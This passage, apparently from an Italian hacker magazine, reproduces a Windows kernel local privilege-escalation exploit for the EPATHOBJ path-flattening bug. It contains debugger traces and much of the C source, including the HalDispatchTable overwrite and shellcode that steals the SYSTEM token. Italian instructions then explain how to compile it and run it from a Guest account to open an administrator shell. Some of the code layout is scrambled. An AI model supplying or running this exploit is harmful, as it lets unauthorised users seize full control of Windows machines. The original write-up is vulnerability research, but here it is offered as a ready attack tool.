95c922bd 83f801 cmp eax,1 // 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9) // 95c922c2 33c0 xor eax,eax // 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d) // 95c922c9 56 push esi // 95c922ca 8b7508 mov esi,dword ptr [ebp+8] // 95c922cd 8b4604 mov eax,dword ptr [esi+4] // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc" // kd> g // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // fe938fac 41414140 // // The breakpoint dumps the first dword of the returned buffer, which matches the // bezier points set with PolyDraw(). So convincing pprFlattenRec() to move // EPATHOBJ->records->head->next->next into userspace is no problem, and we can // easily break the list traversal in bFlattten(): // // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) // { // EPATHOBJ *pathobj; // esi () 1 // PATHOBJ *ppath; // eax () 1 // BOOL result; // eax () 2 // PATHRECORD *ppr; // eax () 3 // // pathobj = this; // ppath = this->ppath; // if ( ppath ) // { // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) // { // if ( ppr->flags & PD_BEZIER ) // { // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); // if ( !ppr ) // goto LABEL_2; // } // } // pathobj->fl &= 0xFFFFFFFE; // result = 1; // } // else // { // LABEL_2: // result = 0; // } // return result; // } // // All we have to do is allocate our own PATHRECORD structure, and then spam // PolyDraw() with POINTFIX structures containing co-ordinates that are actually // pointers shifted right by 4 (for this reason the structure must be aligned so // the bits shifted out are all zero). // // We can see this in action by putting a breakpoint in bFlatten when ppr has // moved into userspace: // // kd> u win32k!EPATHOBJ::bFlatten // win32k!EPATHOBJ::bFlatten: // 95c92517 8bff mov edi,edi // 95c92519 56 push esi // 95c9251a 8bf1 mov esi,ecx // 95c9251c 8b4608 mov eax,dword ptr [esi+8] // 95c9251f 85c0 test eax,eax // 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527) // 95c92523 33c0 xor eax,eax // 95c92525 5e pop esi // kd> u // win32k!EPATHOBJ::bFlatten+0xf: // 95c92526 c3 ret // 95c92527 8b4014 mov eax,dword ptr [eax+14h] // 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540) // 95c9252c f6400810 test byte ptr [eax+8],10h // 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e) // 95c92532 50 push eax // 95c92533 8bce mov ecx,esi // 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a) // // So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS // flags (defined in winddi.h). Let's break if it's in userspace: // // kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''" // kd> g // 95c9252c f6400810 test byte ptr [eax+8],10h // kd> r // eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d // eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 // win32k!EPATHOBJ::bFlatten+0x15: // 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=?? // // The question is how to turn that into code execution? It's obviously trivial to // call prFlattenRec with our userspace PATHRECORD..we can do that by setting // PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure // poses a problem. // // Let me demonstrate calling it with my own PATHRECORD: // // // Create our PATHRECORD in userspace we will get added to the EPATHOBJ // // pathrecord chain. // PathRecord = VirtualAlloc(NULL, // sizeof(PATHRECORD), // MEM_COMMIT | MEM_RESERVE, // PAGE_EXECUTE_READWRITE); // // // Initialise with recognisable debugging values. // FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); // // PathRecord->next = (PVOID)(0x41414141); // PathRecord->prev = (PVOID)(0x42424242); // // // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // // EPATHOBJ::bFlatten(), do that here. // PathRecord->flags = PD_BEZIERS; // // // Generate a large number of Bezier Curves made up of pointers to our // // PATHRECORD object. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = (ULONG)(PathRecord) >> 4; // Points[PointNum].y = (ULONG)(PathRecord) >> 4; // PointTypes[PointNum] = PT_BEZIERTO; // } // // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt! MmUserProbeAddress)) ''; 'gc'" // kd> g // win32k!EPATHOBJ::pprFlattenRec+0x28: // 95c922c2 33c0 xor eax,eax // kd> dd ebp+8 L1 // a3633be0 00130000 // // The ppr object is in userspace! If we peek at it: // // kd> dd poi(ebp+8) // 00130000 41414141 42424242 00000010 cccccccc // 00130010 00000000 00000000 00000000 00000000 // 00130020 00000000 00000000 00000000 00000000 // 00130030 00000000 00000000 00000000 00000000 // 00130040 00000000 00000000 00000000 00000000 // 00130050 00000000 00000000 00000000 00000000 // 00130060 00000000 00000000 00000000 00000000 // 00130070 00000000 00000000 00000000 00000000 // // There's the next and prev pointer. // // kd> kvn // # ChildEBP RetAddr Args to Child // 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k! EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo]) // 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k! EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4]) // 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k! NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) // 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34) // // The question is how to get PATHALLOC() to succeed under memory pressure so we // can make this exploitable? I'm quite proud of this list cycle trick, // here's how to turn it into an arbitrary write. // // First, we create a watchdog thread that will patch the list atomically // when we're ready. This is needed because we can't exploit the bug while // HeavyAllocPool is failing, because of the early exit in pprFlattenRec: // // .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) // .text:BFA122BD cmp eax, 1 ; Check for failure // .text:BFA122C0 jz short continue // .text:BFA122C2 xor eax, eax ; Exit early // .text:BFA122C4 jmp early_exit // // So we create a list node like this: // // PathRecord->Next = PathRecord; // PathRecord->Flags = 0; // // Then EPATHOBJ::bFlatten() spins forever doing nothing: // // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) // { // /* ... */ // // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) // { // if ( ppr->flags & PD_BEZIER ) // { // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); // } // } // // /* ... */ // } // // While it's spinning, we clean up in another thread, then patch the thread (we // can do this, because it's now in userspace) to trigger the exploit. The first // block of pprFlattenRec does something like this: // // if ( pprNew->pprPrev ) // pprNew->pprPrev->pprnext = pprNew; // // Let's make that write to 0xCCCCCCCC. // // DWORD WINAPI WatchdogThread(LPVOID Parameter) // { // // // This routine waits for a mutex object to timeout, then patches the // // compromised linked list to point to an exploit. We need to do this. // LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p", // GetCurrentThreadId(), // Mutex); // // if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { // // It looks like the main thread is stuck in a call to FlattenPath(), // // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean // // up, and then patch the list to trigger our exploit. // while (NumRegion--) // DeleteObject(Regions[NumRegion]); // // LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord>next, &ExploitRecord); // // InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); // // } else { // LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); // } // // return 0; // } // // PathRecord->next = PathRecord; // PathRecord->prev = (PVOID)(0x42424242); // PathRecord->flags = 0; // // ExploitRecord.next = NULL; // ExploitRecord.prev = 0xCCCCCCCC; // ExploitRecord.flags = PD_BEZIERS; // // Here's the output on Windows 8: // // kd> g // ******************************************************************************* // * * // * Bugcheck Analysis * // * * // ******************************************************************************* // // Use !analyze -v to get detailed debugging information. // // BugCheck 50, {cccccccc, 1, 8f18972e, 2} // *** WARNING: Unable to verify checksum for ComplexPath.exe // *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe // Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 ) // // Followup: MachineOwner // --------// // nt!RtlpBreakWithStatusInstruction: // 810f46f4 cc int 3 // kd> kv // ChildEBP RetAddr Args to Child // a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt! RtlpBreakWithStatusInstruction (FPO: [1,0,0]) // a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo]) // a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4]) // a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 // a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 // a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868 // a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4]) // a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c) // a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k! EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) // a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) // a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4]) // a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14) // 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) // 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0]) // WARNING: Stack unwind information not available. Following frames may be wrong. // 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f // 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade // 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32! BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) // 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll! __RtlUserThreadStart+0x4a (FPO: [SEH]) // 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) // kd> .trap a03aba2c // ErrCode = 00000002 // eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8 // eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 // win32k!EPATHOBJ::pprFlattenRec+0x82: // 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=???????? // kd> vertarget // Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible // Product: WinNt, suite: TerminalServer SingleUserTS // Built by: 9200.16581.x86fre.win8_gdr.130410-1505 // Machine Name: // Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48 // Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00) // System Uptime: 0 days 0:02:30.432 // kd> .bugcheck // Bugcheck code 00000050 // Arguments cccccccc 00000001 8f18972e 00000002 // // EXPLOITATION // // We're somewhat limited with what we can do, as we don't control what's // written, it's always a pointer to a PATHRECORD object. We can clobber a // function pointer, but the problem is making it point somewhere useful. // // The solution is to make the Next pointer a valid sequence of instructions, // which jumps to our second stage payload. We have to do that in just 4 bytes // (unless you can find a better call site, let me know if you spot one). // // Thanks to progmboy for coming up with the solution: you reach back up the // // // // // // // // // // // // // // // // // stack and pull a SystemCall parameter out of the stack. It turns out NtQueryIntervalProfile matches this requirement perfectly. INSTRUCTIONS C:\> cl ComplexPath.c C:\> ComplexPath You might need to run it several times before we get the allocation we need, it won't crash if it doesn't work, so you can keep trying. I'm not sure how to improve that. CREDIT Tavis Ormandy <taviso () cmpxchg8b com> progmboy <programmeboy () gmail com> POINT BYTE HRGN ULONG HANDLE DWORD Points[MAX_POLYPOINTS]; PointTypes[MAX_POLYPOINTS]; Regions[MAX_REGIONS]; NumRegion = 0; Mutex; Finished = 0; // Log levels. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; BOOL LogMessage(LEVEL Level, PCHAR Format, ...); // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010 typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX; // Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[4]; } PATHRECORD, *PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord; PPATHRECORD ExploitRecordExit; enum { SystemModuleInformation = 11 }; enum { ProfileTotalIssues = 2 }; typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; FARPROC NtQuerySystemInformation; FARPROC NtQueryIntervalProfile; FARPROC PsReferencePrimaryToken; FARPROC PsLookupProcessByProcessId; PULONG HalDispatchTable; ULONG HalQuerySystemInformation; PULONG TargetPid; PVOID *PsInitialSystemProcess; // Search the specified data structure for a member with CurrentValue. BOOL FindAndReplaceMember(PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize) { DWORD i, Mask; // Microsoft QWORD aligns object pointers, then uses the lower three // bits for quick reference counting. Mask = ~7; // Mask out the reference count. CurrentValue &= Mask; // Scan the structure for any occurrence of CurrentValue. for (i = 0; i < MaxSize; i++) { if ((Structure[i] & Mask) == CurrentValue) { // And finally, replace it with NewValue. Structure[i] = NewValue; return TRUE; } } // Member not found. return FALSE; } // This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4) { PVOID TargetProcess; // Record that the exploit completed. Finished = 1; // Fix the corrupted HalDispatchTable, HalDispatchTable[1] = HalQuerySystemInformation; // Find the EPROCESS structure for the process I want to escalate if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken; // Find the Token object for my target process, and the SYSTEM process. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); // Find the token in the target process, and replace with the system token. } FindAndReplaceMember((PDWORD) TargetProcess, (DWORD) TargetToken, (DWORD) SystemToken, 0x200); return 0; } DWORD WINAPI WatchdogThread(LPVOID Parameter) { // Here we wait for the main thread to get stuck inside FlattenPath(). WaitForSingleObject(Mutex, CYCLE_TIMEOUT); // It looks like we've taken control of the list, and the main thread // is spinning in EPATHOBJ::bFlatten. We can't continue because // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails. // So first, we clean up and make sure it can allocate memory. while (NumRegion) DeleteObject(Regions[--NumRegion]); // Now we switch out the Next pointer for our exploit record. As soon // as this completes, the main thread will stop spinning and continue // into EPATHOBJ::pprFlattenRec. InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); return 0; } // I use this routine to generate a table of acceptable stub addresses. The // 0x40 offset is the location of the PULONG parameter to // nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever // trick. VOID __declspec(naked) HalDispatchRedirect(VOID) { __asm inc eax __asm jmp dword ptr [ebp+0x40]; // 0 __asm inc ecx __asm jmp dword ptr [ebp+0x40]; // 1 __asm inc edx __asm jmp dword ptr [ebp+0x40]; // 2 __asm inc ebx __asm jmp dword ptr [ebp+0x40]; // 3 __asm inc esi __asm jmp dword ptr [ebp+0x40]; // 4 __asm inc edi __asm jmp dword ptr [ebp+0x40]; // 5 __asm dec eax __asm jmp dword ptr [ebp+0x40]; // 6 __asm dec ecx __asm jmp dword ptr [ebp+0x40]; // 7 __asm dec edx __asm jmp dword ptr [ebp+0x40]; // 8 __asm dec ebx __asm jmp dword ptr [ebp+0x40]; // 9 __asm dec esi __asm jmp dword ptr [ebp+0x40]; // 10 __asm dec edi __asm jmp dword ptr [ebp+0x40]; // 11 } // Mark end of table. __asm { _emit 0 _emit 0 _emit 0 _emit 0 } int main(int argc, char **argv) { HANDLE Thread; HDC Device; ULONG Size; ULONG HMODULE PULONG PULONG ULONG RTL_PROCESS_MODULES PointNum; KernelHandle; DispatchRedirect; Interval; SavedInterval; ModuleInfo; LogMessage(L_INFO, "\r--------------------------------------------------\n" "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n" "\n"); NtQueryIntervalProfile "NtQueryIntervalProfile"); NtQuerySystemInformation "NtQuerySystemInformation"); Mutex DispatchRedirect Interval SavedInterval TargetPid = GetProcAddress(GetModuleHandle("ntdll"), = GetProcAddress(GetModuleHandle("ntdll"), = = = = = CreateMutex(NULL, FALSE, NULL); (PVOID) HalDispatchRedirect; (PULONG) ShellCode; Interval[0]; GetCurrentProcessId(); LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile); LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation); // Lookup the address of system modules. NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p", ModuleInfo.Modules[0].FullPathName, ModuleInfo.Modules[0].ImageBase); // Lookup some system routines we require. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; // Search for a ret instruction to install in the damaged HalDispatchTable. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation); // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); LogMessage(L_INFO, " LogMessage(L_INFO, " LogMessage(L_INFO, " ->next @ %p", PathRecord->next); ->prev @ %p", PathRecord->prev); ->flags @ %u", PathRecord->flags); // Now we need to create a PATHRECORD at an address that is also a valid // x86 instruction, because the pointer will be interpreted as a function. // I've created a list of candidates in DispatchRedirect. LogMessage(L_INFO, "Searching for an available stub address..."); // I need to map at least two pages to guarantee the whole structure is // available. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", *DispatchRedirect & ~(PAGE_SIZE - 1), GetLastError()); } // This page is not available, try the next candidate. if (!*++DispatchRedirect) { LogMessage(L_ERROR, "No redirect candidates left, sorry!"); return 1; } LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect); // This PATHRECORD must terminate the list and recover. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect; ExploitRecordExit->next = NULL; ExploitRecordExit->prev = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; LogMessage(L_INFO, " LogMessage(L_INFO, " LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next); ->prev @ %p", ExploitRecordExit->prev); ->flags @ %u", ExploitRecordExit->flags); // This is the second stage PATHRECORD, which causes a fresh PATHRECORD // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will // be copied over to the new record. Therefore, we get // // nt!HalDispatchTable[1] = &ExploitRecordExit. // // So we make &ExploitRecordExit a valid sequence of instuctions here. LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord); ExploitRecord.next ExploitRecord.prev ExploitRecord.flags ExploitRecord.count LogMessage(L_INFO, " LogMessage(L_INFO, " LogMessage(L_INFO, " = = = = (PPATHRECORD) *DispatchRedirect; (PPATHRECORD) &HalDispatchTable[1]; PD_BEZIERS | PD_BEGINSUBPATH; 4; ->next @ %p", ExploitRecord.next); ->prev @ %p", ExploitRecord.prev); ->flags @ %u", ExploitRecord.flags); LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG) (PathRecord) >> 4); // Generate a large number of // PATHRECORD object. for (PointNum = 0; PointNum < Points[PointNum].x = Points[PointNum].y = PointTypes[PointNum] = } Belier Curves made up of pointers to our MAX_POLYPOINTS; PointNum++) { (ULONG)(PathRecord) >> 4; (ULONG)(PathRecord) >> 4; PT_BEZIERTO; // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); // Get a handle to this Desktop. Device = GetDC(NULL); // Take ownership of Mutex WaitForSingleObject(Mutex, INFINITE); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle"); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // Test if exploitation succeeded. NtQueryIntervalProfile(ProfileTotalIssues, Interval); // Repair any damage. *Interval = SavedInterval; } EndPath(Device); if (Finished) { LogMessage(L_INFO, "Success, launching shell...", Finished); ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(0); } // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); WaitForSingleObject(Thread, INFINITE); ReleaseDC(NULL, Device); // Try again... LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)"); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(1); } // A quick logging routine for debug messages. BOOL LogMessage(LEVEL Level, PCHAR Format, ...) { CHAR Buffer[1024] = {0}; va_list Args; va_start(Args, Format); vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); va_end(Args); switch (Level) { case L_DEBUG: case L_INFO: case L_WARN: case L_ERROR: } fprintf(stdout, fprintf(stdout, fprintf(stderr, fprintf(stderr, "[?] "[+] "[*] "[!] %s\n", %s\n", %s\n", %s\n", Buffer); Buffer); Buffer); Buffer); break; break; break; break; fflush(stdout); fflush(stderr); } return TRUE; ora fate copia e poi dirigetevi in : C:/Program Files (x86)/Microsoft Visual Studio 10.0/vc/bin e qui incollate l’exploit poi aprite il cmd e scrivete cd C:/Program Files (x86)/Microsoft Visual Studio 10.0/vc/bin e da qui digitate vcvars32.bat ed ora per concludere scrivete cl exploit.c ora l’exploit e stato pachettizzato in .exe. con sucesso ed ora usiamolo per avere una cmd da admin dirigiamoci sulla sudetta macchina e prendendo l’exploit pachetizzato prima, mettiamolo momentaneamente sul desktop ed apriamo una cmd senza essere admin e digitiamo la posizione dell' exploit e l’exploit. exe e cmd la posizzione la possiamo vedere cliccando col tasto sinistro sul exploit quindi nel mio caso scrivo: C:/User/Guest/Desktop/exploit.exe cmd una volta fatto ciò premiamo semplicemente invio et vuoila si aprirà magicamente una cmd con privilegi di admin [articolo 100% afr0] Il Primo numero è concluso, per il prossimo numero che uscirà fra 2 mesi, ci saranno tante novità. Tra le novità ci saranno 3 rubriche: NEWS RELAISE Tutti gli aggiornamenti, di distro gnu/linux che usciranno durante il mese prima del uscita della rivista CRAZY PROJECT Avete un progetto pazzo? Un idea folle? Bene non scartatela, scrivetela sulla mia pagina facebook (dovrete scrivere solo cose! Non mettete link solo quando verra scelta allora vi contattero io per inviarmi il link della pagina web dove rimandare la gente) ACID IMAGE Postate i vostri lavori grafici migliori su Devian art e mandatemi il link i 5 migliori saranno scelti, e postati sopra la rivista. Ognuna di queste rubriche, richiede l'aiuto del publico. In caso il publico non fosse interessato, quindi io non riceva nulla la rubrica che è vuota non sara presente.